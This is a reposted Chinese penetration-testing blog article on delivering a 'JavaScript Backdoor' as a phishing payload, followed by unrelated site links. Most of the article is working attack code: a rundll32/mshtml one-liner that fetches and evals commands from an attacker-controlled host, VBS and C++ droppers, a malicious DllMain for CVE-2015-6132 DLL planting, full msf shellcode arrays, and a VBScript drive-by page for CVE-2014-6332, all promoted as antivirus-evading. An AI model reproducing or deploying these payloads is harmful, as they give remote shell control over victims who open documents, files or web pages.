JavaScript Phishing

JavaScript Phishing

大家好,又见面了,我是全栈君。

三好学生 · 2016/01/27 14:43

0x00 前言


前段时间分享了JavaScript Backdoor技术,着重对其功能的开发、Bug的优化做了介绍,这次研究一下JavaScript Backdoor在实际渗透测试中的利用方法。

0x01 简介


特点:

通过cmd执行代码即可弹回shell

优势:

  • 免杀
  • 简便
  • 较隐蔽

利用思路:

综合其优势特点,JavaScript作为Phishing Payload有着意想不到的效果,下面就结合相关漏洞做简要介绍

0x02 隐藏在vbs中


最简便的方法,将JavaScript的上线代码写到vbs中

原始的JavaScript 上线代码:

#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.136/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
复制代码

对应vbs中的代码(注意转义字符):

#!vb
set shell=createobject("wscript.shell")
shell.run "rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%20ActiveXObject(""WinHttp.WinHttpRequest.5.1"");h.Open(""GET"",""http://192.168.174.136/connect"",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im rundll32.exe"",0,true);}",0
复制代码

点击vbs脚本,即可弹回HTTP shell

0x03 隐藏在exe中


开发工具:VC6.0

需要注意以下细节:

1、使用ShellExecute, WinExec没有区别

通过两种方式执行cmd命令都可以

2、cmd 参数细节

eg:

#!bash
cmd /c dir 是执行完dir命令后关闭命令窗口 
cmd /k dir 是执行完dir命令后不关闭命令窗口
cmd /c start dir 会打开一个新窗口后执行dir指令,原窗口会关闭 
cmd /k start dir 会打开一个新窗口后执行dir指令,原窗口不会关闭 
复制代码

所以在用c++执行cmd命令时,为了退出残留的cmd进程,需要用cmd /c start再加上需要的cmd命令

3、转义字符

c++中存在转义字符,我们的命令中需要的转义字符如下:

  • "需要用\"表示
  • \需要用\\表示

综上,c++的代码为

#!cpp
#include "stdafx.h"
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    char *command="cmd.exe /c start rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new\%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://192.168.174.136/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new\%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";
    WinExec(command,SW_HIDE); 
    return 0;
}
复制代码

点击exe,即可弹回HTTP shell

0x04 隐藏在dll中


开发工具:VC6.0

结合漏洞:CVE-2015-6132

细节可参考: zone.wooyun.org/content/248…

CVE-2015-6132 ,是一个类似于dll劫持的漏洞,如果在特定word文档的同级目录下放置一个dll,那么在打开word文档并点击图标后会运行同级目录下dll的代码

如图

planted-mqrt.doc里面包含图标foo.txt,如果点击图标,那么会运行mqrt.dll中的代码,即弹框

当然,把word 文档改为rtf文档即可实现在打开文档后的自动触发

如果把mqrt.dll的payload改为JavaScript Backdoor,那么会怎么样呢?

下面我们就修改一下

方法也很简单,但也需要注意cmd的参数和转义字符的修改,关键代码如下:

#!cpp
BOOL APIENTRY DllMain( HANDLE hModule, 
                      DWORD  ul_reason_for_call, 
                      LPVOID lpReserved
                      )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        {
            char *command="cmd.exe /c start rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new\%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://192.168.174.136/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new\%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";           
            WinExec(command,SW_HIDE); 
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
复制代码

如图

打开CVE-2015-6132.rtf,没有任何异常反应

而这时我们的控制端已经弹回了shell,如图

即使此时关闭CVE-2015-6132.rtf,shell仍然可以继续操作

0x05 转换成shellcode


开发工具:msf、vc6.0

结合漏洞:CVE-2015-5119&CVE-2015-5122

细节可参考: zone.wooyun.org/content/215…

使用vc6.0测试msf shellcode的技巧:

1、以messagebox举例

msf:

#!bash
use windows/messagebox
set TEXT rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";
generate -t c
复制代码

如图

不难看出msf也存在转义字符

放在c++中测试msf shellcode,代码如下

#!cpp
#include "stdafx.h"

int main(int argc,char *argv[]) 
{ 
unsigned char buf[] = 
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
"\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3"
"\x68\x3b\x58\x20\x20\x68\x69\x6f\x6e\x20\x68\x69\x63\x61\x74"
"\x68\x41\x70\x70\x6c\x68\x48\x54\x4d\x4c\x68\x2c\x52\x75\x6e"
"\x68\x68\x74\x6d\x6c\x68\x2e\x2e\x6d\x73\x68\x69\x70\x74\x3a"
"\x68\x61\x73\x63\x72\x68\x20\x6a\x61\x76\x68\x2e\x65\x78\x65"
"\x68\x6c\x6c\x33\x32\x68\x72\x75\x6e\x64\x31\xc9\x88\x4c\x24"
"\x35\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
"\x55\x08";
__asm{
        lea eax,buf
        call eax
    }
    return 0;
}
复制代码

如下图可以看到弹框,shellcode执行成功

2、将JavaScript Backdoor转换成shellcode

msf:

#!bash
use windows/exec 
set CMD rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://192.168.174.136/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}
generate -t c
复制代码

如图

放在c++中测试shellcode,代码如下

#!cpp
#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x72\x75\x6e\x64\x6c\x6c\x33\x32\x2e\x65\x78"
"\x65\x20\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x22\x5c"
"\x2e\x2e\x5c\x6d\x73\x68\x74\x6d\x6c\x2c\x52\x75\x6e\x48\x54"
"\x4d\x4c\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x20\x22"
"\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65"
"\x28\x29\x3b\x68\x3d\x6e\x65\x77\x25\x32\x30\x41\x63\x74\x69"
"\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x57\x69\x6e\x48"
"\x74\x74\x70\x2e\x57\x69\x6e\x48\x74\x74\x70\x52\x65\x71\x75"
"\x65\x73\x74\x2e\x35\x2e\x31\x22\x29\x3b\x68\x2e\x4f\x70\x65"
"\x6e\x28\x22\x47\x45\x54\x22\x2c\x22\x68\x74\x74\x70\x3a\x2f"
"\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x34\x2e\x31\x33"
"\x36\x2f\x63\x6f\x6e\x6e\x65\x63\x74\x22\x2c\x66\x61\x6c\x73"
"\x65\x29\x3b\x74\x72\x79\x7b\x68\x2e\x53\x65\x6e\x64\x28\x29"
"\x3b\x42\x3d\x68\x2e\x52\x65\x73\x70\x6f\x6e\x73\x65\x54\x65"
"\x78\x74\x3b\x65\x76\x61\x6c\x28\x42\x29\x3b\x7d\x63\x61\x74"
"\x63\x68\x28\x65\x29\x7b\x6e\x65\x77\x25\x32\x30\x41\x63\x74"
"\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x57\x53\x63"
"\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c\x22\x29\x2e\x52\x75"
"\x6e\x28\x22\x63\x6d\x64\x20\x2f\x63\x20\x74\x61\x73\x6b\x6b"
"\x69\x6c\x6c\x20\x2f\x66\x20\x2f\x69\x6d\x20\x72\x75\x6e\x64"
"\x6c\x6c\x33\x32\x2e\x65\x78\x65\x22\x2c\x30\x2c\x74\x72\x75"
"\x65\x29\x3b\x7d\x00";

__asm{
        lea eax,buf
        call eax
    }
    return 0;
}
复制代码

运行后可以弹回shell,证明shellcode生成成功

3、结合CVE-2015-5119&CVE-2015-5122

测试环境

#!bash
Windows 7 SP1 (64-bit) 
ie8.0.7600.16385 
Adobe Flash Player 18,0,0,194
复制代码

步骤:

1、msf

#!bash
use windows/exec 
set CMD rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://192.168.174.136/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}
generate -t dword
复制代码

如图

2、修改原工程文件 ,使用Adobe Flash CS6 编译生成新的swf

如图新编译的swf使用浏览器打开,弹回shell

同样,将swf嵌入word、ppt、xls,均可弹回shell

此处细节略

0x06 结合Outlook漏洞


细节可参考: zone.wooyun.org/content/246…

测试环境

#!bash
win7 x86 
outlook2007
复制代码

打开伪造的Outlook文档:

如图,内容中包含一个docx的图标

现在双击打开,如图

点击确定后,接着弹框,如图,随后弹回shell

0x07 结合ie漏洞


结合漏洞:CVE-2014-6332

步骤:

1、将JavaScript同CVE-2014-6332结合,实现挂马

修改后的关键代码为:

#!vb
<SCRIPT LANGUAGE="VBScript">

function runmumaa() 
On Error Resume Next
set shell=createobject("wscript.shell")
shell.run "rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%20ActiveXObject(""WinHttp.WinHttpRequest.5.1"");h.Open(""GET"",""http://192.168.174.136/connect"",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im rundll32.exe"",0,true);}",0
end function
 </script>
复制代码

之后将html文件放于kali上

2、kali上开启SimpleHTTPServer

#!bash
python -m SimpleHTTPServer 80
复制代码

如图

3、访问http://192.168.174.133/JavaScript.html

xp系统访问直接弹回shell

如图

win7 x64访问会弹框

如图

0x08 小结


通过以上内容,结合最近流行的IE、Office等经典的钓鱼漏洞对JavaScript的用法做简要介绍,希望能让大家有所启发,JavaScript Backdoor在渗透中会发挥越来越大的作用。

当然,上述漏洞的防御方法已经普及,对于普通用户来说,建议及时更新补丁安装最新杀毒软件和防火墙。

本文由三好学生原创并首发于乌云drops,转载请注明

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/107668.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • input debounce

    input debounce项目背景是一个搜索框,不能实时的监听onChange事件去发送请求,这样会造成服务器的压力解决思路就是用setTimeout+clearTimeout普通js代码如下:/下面是普通的js实现,可以参考一下//获取input元素vartextInput=document.getElementById(‘test-input’);//初始化一个…

  • 開發中的DEV,QAS,UAT,PRD是什麼意思

    開發中的DEV,QAS,UAT,PRD是什麼意思IDES:InternetDemonstrationandEvaluationSystem交互式演示与评估系统DEV:DevelopmentSystem,开发系统QAS:QualityAssuranceSystem,质量保证系统UAT:UserAcceptanceTest用户验收测试PRD:ProductionSystem,生产系统…

  • 妇产科护理学试题库及答案_妇产科护理学题库集各章节

    妇产科护理学试题库及答案_妇产科护理学题库集各章节试题一1.关于子宫的位置与形态,正确的为DA.位于盆腔下方B.形如扁梨形C.容积为2mlD.前与膀胱,后与直肠为邻E.子宫峡部非孕时长3cm2.保持子宫前倾位置的一对主要韧带是CA.圆韧带B.阔韧带C.主韧带D.骨盆漏斗韧带E.子宫骶骨韧带3.与后穹隆顶端贴接的部分为EA.宫颈口B.附件C.膀胱D.直肠E.直肠子宫陷凹4.关于骨盆外测量径线的描述,错误的是BA.髂棘间径为两侧髂前上棘外缘间的距离B.坐骨结节间径为两侧坐骨结节外缘间的距离C

    2022年10月28日
  • 数据挖掘十大经典算法(包括各自优缺点 / 适用数据场景)

    数据挖掘十大经典算法(包括各自优缺点 / 适用数据场景)本文主要分析皆来自其他资料,借用较为权威的总结来对我已经学习的这些经典算法做一个极为精简的概述(根据自身经验有一定修改),另外同时附上机器学习实战中作者对各种算法的评价。另外机器学习实战这本书是本人看了这么多书籍或者资料中唯一一本坚持从头看到尾,看完了的书籍,包括其中的代码皆实践运行过,收获颇多,个人认为虽然这本书时间上已经算是老资料了,但其中作者的各种总结和代码的演练都由浅入深(前提还是要有一点…

  • webmin纯web界面管理linux系统「建议收藏」

    webmin纯web界面管理linux系统「建议收藏」关键字:摘要:从Windows环境的管理转到Linux环境的管理时所面临的挑战之一是,您需要去学习利用新的工具。作为一个管理员,您希望理解操作系统的细节以发挥它的最大功效。但是,当您还处在学习阶段时

  • IntellijIdea 非Maven项目打Jar包

    IntellijIdea 非Maven项目打Jar包  一、以SpringBoot项目为例,在未使用maven的情况下将其打成Jar包。  二、将其打成散包,即项目依赖的Jar包在目录同级或子级。好处是如果项目更新,只需要更新项目的jar,不需要更新所有。  一、检查项目是否包含META-INF文件夹。     若包含META-INF文件夹,将其删除。等下重新生成。  二、构建Artifacts  2.1选择菜…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号